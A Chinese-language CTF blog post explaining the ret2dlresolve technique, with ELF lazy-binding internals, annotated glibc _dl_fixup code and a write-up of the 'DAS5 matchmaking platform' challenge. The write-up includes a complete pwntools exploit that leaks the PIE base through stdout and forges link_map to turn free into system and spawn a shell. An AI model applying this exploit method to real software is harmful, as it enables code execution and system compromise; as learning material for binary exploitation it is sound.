ret2dlresolve

放假啦*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。
烤漆+摆烂停更了好久好久好久,欠了好多好多好多债/(ㄒoㄒ)/~~(一堆复现),开启假期学习生活的第一步从还债开始

ret2dlresolve

gdb调试的时候用step命令没有完整的延迟绑定过程,用stepi单步就可以了

32位

延迟绑定流程

  • 主调函数跳入对应.plt,.plt内容如下:

  • 跳至对应.got.plt中所存地址,.got.plt中所存的初始地址是.plt[1],所以未绑定时相当于顺序执行.plt,绑定后.got.plt中所存的就是函数的实际地址,这一步之后就直接执行对应函数

  • 入栈当前函数对应index

  • 跳至plt[0](plt段开头)

  • 入栈linkmap地址(got[1]),执行_dl_runtime_resolve(got[2]),执行

    1
    _dl_runtime_resolve(link_map, reloc_arg)

一些重要的段

.dynamic

包含了一些关于动态链接的关键信息,重要的是DT_STRTAB, DT_SYMTAB, DT_JMPREL三项,分别包含指向.dynstr, .dynsym, .rel.plt三段的指针

对应结构体

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
.dynstr

一个字符串表,相关数据结构引用一个字符串时,用的是相对这个section头的偏移

.dynsym

一个符号表,每个结构体记录一个符号

对应结构体

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding,对于导入函数符号而言是0x12 */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;//对于导入函数符号而言,其他字段都是0
.rel.plt

重定位表,也是一个结构体数组,每个项对应一个导入函数

对应结构体

1
2
3
4
5
6
7
8
typedef struct
{
Elf32_Addr r_offset; /* 指向got表的指针 */
Elf32_Word r_info;
//只关心从第二个字节开始的值((val)>>8),忽略07
//这个导入函数的符号在.dynsym中的下标
Elf32_Sword r_addend; /* Addend */
} Elf32_Rela;

_dl_runtime_resolve

先看一下link_map的结构,使用的到的只有两个成员

1
2
3
4
5
6
7
8
struct link_map
{
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
……
}

l_info成员指向了之前说到的.dynamic段

l_addr我的理解是如果开了PIE它的值就是PIE基址

_dl_runtime_resolve实际调用_fl_fixup函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//glibc-2.23

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//取出.dynsym段指针
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//取出.dynstr段指针

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//取出.rel.plt段第reloc_arg项的指针
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//取出.dynsym的第reloc_arg个符号项
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//取出.got.plt表的地址
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Elf32_Rela的r_info成员开头的07字节检查 */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* 检查(sym->st_other)&0x03是否为0 */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
……
}

……

/* _dl_lookup_symbol_x函数通过strtab + sym->st_name(查找函数名)确定函数具体地址 */
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

……

/* 已知函数地址,进行一些处理(result->value) */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* got表写入函数真实地址,或者返回真实地址 */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

调用_fl_fixup结束后_dl_runtime_resolve的汇编码如下

1
mov  dword  ptr [esp],eax

将返回的函数真实地址放入栈顶, ret 0xc 在将rip跳转至函数真实地址的同时栈帧上调0xc,刚好是函数的参数(32位函数参数放在栈上)

(终于结束了我的天呐)

64位

延迟绑定流程

  • 主调函数跳入对应.plt.sec,.plt.sec内容如下:

  • 跳至对应.plt,入栈index,跳转至plt[0]

  • 入栈linkmap地址(got[1]),执行_dl_runtime_resolve_xsavec(got[2])

_dl_runtime_resolve_xsavec

64位传参从栈变成了寄存器,所以_dl_runtime_resolve_xsavec有些不一样

利用

32位

NO RELRO

伪造.dynamic段的字符串表

Partial RELRO

Partial RELRO下.dynamic只读,无法修改,这时候和延迟绑定有关且在可写段的只有link_map,所以可以伪造link_map,见例题

DAS5 matchmaking platform

漏洞和利用

input函数存在漏洞

  • 首先输入覆盖a1[0]~a1[128(0x80)]

  • v3的类型为char(范围-128~127),本题中加到了128会溢出为-128,所以本题中加减的地址为0x4140(content)和0x40c8(ptr),会溢出为0x40c0(pptr)和0x4048(char类型值和__int64类型值相加char类型值会被符号拓展为8字节,c语言基础忘的一干二净了)

  • 程序中几个重要数据关系

    1
    pptr->ptr->堆
  • 我们可以通过溢出修改*pptr指向stdout(0x40c8→0x4080)

    1
    pptr->stdout->_IO_2_1_stdout_
  • 这样当询问”Photo(URL) >> “取*pptr时我们实际上修改的就是_IO_2_1_stdout_,可以泄露pie基址

  • 再通过溢出修改*pptr指向link_map(0x4080→0x4008),询问”Hobby >> “就能修改link_map了

ps:我本来想这么麻烦不如直接改puts的got表,但puts的got表地址最低字节是0x20就是空格,会被过滤掉根本发不出去,淦🙂

_dl_fixup函数中按符号查找的部分如下

1
2
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

函数名是由strtab + sym->st_name得到的

  • 得到strtab的部分代码如下

    1
    2
    3
    4
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    /* 展开宏定义后如下
    * (l)->l_info[5]->d_un.d_ptr
    * link_map->l_info[5]+0x8 */
  • sym->st_name是函数名字符串在符号表中的下标,这道题劫持的free函数是0x77

这道题需要在free延迟绑定的时候将puts的got表改成system的地址,所以还需要伪造一下link_map->l_addr

将获取的函数真实地址写回got表的步骤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);	//取出.got.plt段地址,reloc->r_offset为got表偏移
//l->l_addr为pie基地址
……
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

static inline ElfW(Addr)
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
const ElfW(Rela) *reloc,
ElfW(Addr) *reloc_addr,
ElfW(Addr) value)
{
return *reloc_addr = value;
}

puts的got表就在free后面所以pie基址加8就行

伪造出来的结构大概这样

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

#p=process('./pwn')
p=remote('node4.buuoj.cn',26613)
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
p.sendafter(b'Age >> ',b'\x00'*0x80+b'\x80')
#gdb.attach(p)
p.sendlineafter(b'Photo(URL) >> ',p64(0xfbad1887)+p64(0)*3+b'\xb0\x5d')
pie=u64(p.recv(6).ljust(8,b'\x00'))-elf.symbols['stderr']
payload=b'/bin/sh\x00' + p64(pie + 0x4140 - 0x67) + b'system\x00'
payload=payload.ljust(0x80, b'\x00')+b'\x08'
p.sendafter(b'Name >> ',payload)
payload = p64(pie + 0x8).ljust(0x68, b'\x00') + p64(pie + 0x4140)
p.sendlineafter(b'Hobby >> ',payload)
print(hex(pie))
p.interactive()
#pause()

ret2dlresolve
http://akaieurus.github.io/2023/06/27/ret2dlresolve/
作者
Eurus
发布于
2023年6月27日
许可协议